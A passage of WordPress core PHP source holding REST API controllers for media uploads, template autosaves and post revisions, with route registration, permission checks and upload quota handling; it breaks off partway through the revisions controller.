		$file_data = array(
			'error'    => null,
			'tmp_name' => $tmpfname,
			'name'     => $filename,
			'type'     => $type,
		);

		$size_check = self::check_upload_size( $file_data );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		$overrides = array(
			'test_form' => false,
		);

		$sideloaded = wp_handle_sideload( $file_data, $overrides );

		if ( isset( $sideloaded['error'] ) ) {
			@unlink( $tmpfname );

			return new WP_Error(
				'rest_upload_sideload_error',
				$sideloaded['error'],
				array( 'status' => 500 )
			);
		}

		return $sideloaded;
	}

	/**
	 * Parses filename from a Content-Disposition header value.
	 *
	 * As per RFC6266:
	 *
	 *     content-disposition = "Content-Disposition" ":"
	 *                            disposition-type *( ";" disposition-parm )
	 *
	 *     disposition-type    = "inline" | "attachment" | disp-ext-type
	 *                         ; case-insensitive
	 *     disp-ext-type       = token
	 *
	 *     disposition-parm    = filename-parm | disp-ext-parm
	 *
	 *     filename-parm       = "filename" "=" value
	 *                         | "filename*" "=" ext-value
	 *
	 *     disp-ext-parm       = token "=" value
	 *                         | ext-token "=" ext-value
	 *     ext-token           = <the characters in token, followed by "*">
	 *
	 * @since 4.7.0
	 *
	 * @link https://tools.ietf.org/html/rfc2388
	 * @link https://tools.ietf.org/html/rfc6266
	 *
	 * @param string[] $disposition_header List of Content-Disposition header values.
	 * @return string|null Filename if available, or null if not found.
	 */
	public static function get_filename_from_disposition( $disposition_header ) {
		// Get the filename.
		$filename = null;

		foreach ( $disposition_header as $value ) {
			$value = trim( $value );

			if ( ! str_contains( $value, ';' ) ) {
				continue;
			}

			list( $type, $attr_parts ) = explode( ';', $value, 2 );

			$attr_parts = explode( ';', $attr_parts );
			$attributes = array();

			foreach ( $attr_parts as $part ) {
				if ( ! str_contains( $part, '=' ) ) {
					continue;
				}

				list( $key, $value ) = explode( '=', $part, 2 );

				$attributes[ trim( $key ) ] = trim( $value );
			}

			if ( empty( $attributes['filename'] ) ) {
				continue;
			}

			$filename = trim( $attributes['filename'] );

			// Unquote quoted filename, but after trimming.
			if ( str_starts_with( $filename, '"' ) && str_ends_with( $filename, '"' ) ) {
				$filename = substr( $filename, 1, -1 );
			}
		}

		return $filename;
	}

	/**
	 * Retrieves the query params for collections of attachments.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the attachment collection as an array.
	 */
	public function get_collection_params() {
		$params                            = parent::get_collection_params();
		$params['status']['default']       = 'inherit';
		$params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' );
		$media_types                       = $this->get_media_types();

		$params['media_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular media type.' ),
			'type'        => 'string',
			'enum'        => array_keys( $media_types ),
		);

		$params['mime_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular MIME type.' ),
			'type'        => 'string',
		);

		return $params;
	}

	/**
	 * Handles an upload via multipart/form-data ($_FILES).
	 *
	 * @since 4.7.0
	 *
	 * @param array $files   Data from the `$_FILES` superglobal.
	 * @param array $headers HTTP headers from the request.
	 * @return array|WP_Error Data from wp_handle_upload().
	 */
	protected function upload_from_file( $files, $headers ) {
		if ( empty( $files ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		// Verify hash, if given.
		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5_file( $files['file']['tmp_name'] );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Pass off to WP to handle the actual upload.
		$overrides = array(
			'test_form' => false,
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$size_check = self::check_upload_size( $files['file'] );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		// Include filesystem functions to get access to wp_handle_upload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		$file = wp_handle_upload( $files['file'], $overrides );

		if ( isset( $file['error'] ) ) {
			return new WP_Error(
				'rest_upload_unknown_error',
				$file['error'],
				array( 'status' => 500 )
			);
		}

		return $file;
	}

	/**
	 * Retrieves the supported media types.
	 *
	 * Media types are considered the MIME type category.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of supported media types.
	 */
	protected function get_media_types() {
		$media_types = array();

		foreach ( get_allowed_mime_types() as $mime_type ) {
			$parts = explode( '/', $mime_type );

			if ( ! isset( $media_types[ $parts[0] ] ) ) {
				$media_types[ $parts[0] ] = array();
			}

			$media_types[ $parts[0] ][] = $mime_type;
		}

		return $media_types;
	}

	/**
	 * Determine if uploaded file exceeds space quota on multisite.
	 *
	 * Replicates check_upload_size().
	 *
	 * @since 4.9.8
	 *
	 * @param array $file $_FILES array for a given file.
	 * @return true|WP_Error True if can upload, error for errors.
	 */
	protected function check_upload_size( $file ) {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( get_site_option( 'upload_space_check_disabled' ) ) {
			return true;
		}

		$space_left = get_upload_space_available();

		$file_size = filesize( $file['tmp_name'] );

		if ( $space_left < $file_size ) {
			return new WP_Error(
				'rest_upload_limited_space',
				/* translators: %s: Required disk space in kilobytes. */
				sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ),
				array( 'status' => 400 )
			);
		}

		if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
			return new WP_Error(
				'rest_upload_file_too_big',
				/* translators: %s: Maximum allowed file size in kilobytes. */
				sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ),
				array( 'status' => 400 )
			);
		}

		// Include multisite admin functions to get access to upload_is_user_over_quota().
		require_once ABSPATH . 'wp-admin/includes/ms.php';

		if ( upload_is_user_over_quota( false ) ) {
			return new WP_Error(
				'rest_upload_user_quota_exceeded',
				__( 'You have used your space quota. Please delete files before uploading.' ),
				array( 'status' => 400 )
			);
		}

		return true;
	}

	/**
	 * Gets the request args for the edit item route.
	 *
	 * @since 5.5.0
	 *
	 * @return array
	 */
	protected function get_edit_media_item_args() {
		return array(
			'src'       => array(
				'description' => __( 'URL to the edited image file.' ),
				'type'        => 'string',
				'format'      => 'uri',
				'required'    => true,
			),
			'modifiers' => array(
				'description' => __( 'Array of image edits.' ),
				'type'        => 'array',
				'minItems'    => 1,
				'items'       => array(
					'description' => __( 'Image edit.' ),
					'type'        => 'object',
					'required'    => array(
						'type',
						'args',
					),
					'oneOf'       => array(
						array(
							'title'      => __( 'Rotation' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Rotation type.' ),
									'type'        => 'string',
									'enum'        => array( 'rotate' ),
								),
								'args' => array(
									'description' => __( 'Rotation arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'angle',
									),
									'properties'  => array(
										'angle' => array(
											'description' => __( 'Angle to rotate clockwise in degrees.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
						array(
							'title'      => __( 'Crop' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Crop type.' ),
									'type'        => 'string',
									'enum'        => array( 'crop' ),
								),
								'args' => array(
									'description' => __( 'Crop arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'left',
										'top',
										'width',
										'height',
									),
									'properties'  => array(
										'left'   => array(
											'description' => __( 'Horizontal position from the left to begin the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'top'    => array(
											'description' => __( 'Vertical position from the top to begin the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
										'width'  => array(
											'description' => __( 'Width of the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'height' => array(
											'description' => __( 'Height of the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
					),
				),
			),
			'rotation'  => array(
				'description'      => __( 'The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.' ),
				'type'             => 'integer',
				'minimum'          => 0,
				'exclusiveMinimum' => true,
				'maximum'          => 360,
				'exclusiveMaximum' => true,
			),
			'x'         => array(
				'description' => __( 'As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'y'         => array(
				'description' => __( 'As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'width'     => array(
				'description' => __( 'As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'height'    => array(
				'description' => __( 'As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
		);
	}
}
<?php
/**
 * REST API: WP_REST_Template_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.4.0
 */

/**
 * Core class used to access template autosaves via the REST API.
 *
 * @since 6.4.0
 *
 * @see WP_REST_Autosaves_Controller
 */
class WP_REST_Template_Autosaves_Controller extends WP_REST_Autosaves_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		parent::__construct( $parent_post_type );
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 6.4.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<id>%s%s)/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base,
				'(?P<id>[\d]+)'
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$template = _build_block_template_result_from_post( $item );
		$response = $this->parent_controller->prepare_item_for_response( $template, $request );

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->post_parent;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Gets the autosave, if the ID is valid.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Autosave post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$autosave = wp_get_post_autosave( $parent->ID );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this template.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Get the parent post.
	 *
	 * @since 6.4.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Block_Template $template Template.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $template ) {
		$links = array(
			'self'   => array(
				'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
			),
			'parent' => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 6.4.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = $this->revisions_controller->get_item_schema();

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access revisions via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Revisions_Controller extends WP_REST_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Instance of a revision meta fields object.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Parent controller.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
		$this->meta              = new WP_REST_Post_Meta_Fields( $parent_post_type );
	}

	/**
	 * Registers the routes for revisions based on post types supporting revisions.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as revisions do not support trashing.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $parent_post_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_post_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $parent_post_id <= 0 ) {
			return $error;
		}

		$parent_post = get_post( (int) $parent_post_id );

		if ( empty( $parent_post ) || empty( $parent_post->ID )
			|| $this->parent_post_type !== $parent_post->post_type
		) {
			return $error;
		}

		return $parent_post;
	}

	/**
	 * Checks if a given request has access to get revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Get the revision, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_revision( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid revision ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$revision = get_post( (int) $id );
		if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
			return $error;
		}

		return $revision;
	}

	/**
	 * Gets a collection of revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$args       = array(
				'post_parent'      => $parent->ID,
				'post_type'        => 'revision',
				'post_status'      => 'inherit',
				'posts_per_page'   => -1,
				'orderby'          => 'date ID',
				'order'            => 'DESC',
				'suppress_filters' => true,
			);

			$parameter_mappings = array(
				'exclude'  => 'post__not_in',
				'include'  => 'post__in',
				'offset'   => 'offset',
				'order'    => 'order',
				'orderby'  => 'orderby',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
				'search'   => 's',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$args[ $wp_param ] = $request[ $api_param ];
				}
			}

			// For backward-compatibility, 'date' needs to resolve to 'date ID'.
			if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) {
				$args['orderby'] = 'date ID';
			}

			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$args       = apply_filters( 'rest_revision_query', $args, $request );
			$query_args = $this->prepare_items_query( $args, $request );

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = (int) $query_args['paged'];
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query again without LIMIT for total count.
				unset( $query_args['paged'], $query_args['offset'] );

				$count_query = new WP_Query();
				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}

			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		$response = array();

		foreach ( $revisions as $revision ) {
			$data       = $this->prepare_item_for_response( $revision, $request );
			$response[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $response );

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to get a specific revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->get_items_permissions_check( $request );
	}

	/**
	 * Retrieves one revision from the collection.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 Added a condition to check that parent id matches revision parent id.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		if ( (int) $parent->ID !== (int) $revision->post_parent ) {
			return new WP_Error(
				'rest_revision_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The revision does not belong to the specified parent with id of "%d"' ), $parent->ID ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $revision, $request );
		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$response = $this->get_items_permissions_check( $request );
		if ( ! $response || is_wp_error( $response ) ) {
			return $response;
		}

		if ( ! current_user_can( 'delete_post', $revision->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this revision.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for revisions.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$previous = $this->prepare_item_for_response( $revision, $request );

		$result = wp_delete_post( $request['id'], true );

		/**
		 * Fires after a revision is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully)
		 *                                   or false or null (failure). If the revision was moved to the Trash, $result represents
		 *                                   its new state; if it was deleted, $result represents its state before deletion.
		 * @param WP_REST_Request $request The request sent to the API.
		 */
		do_action( 'rest_delete_revision', $result, $request );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.0.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
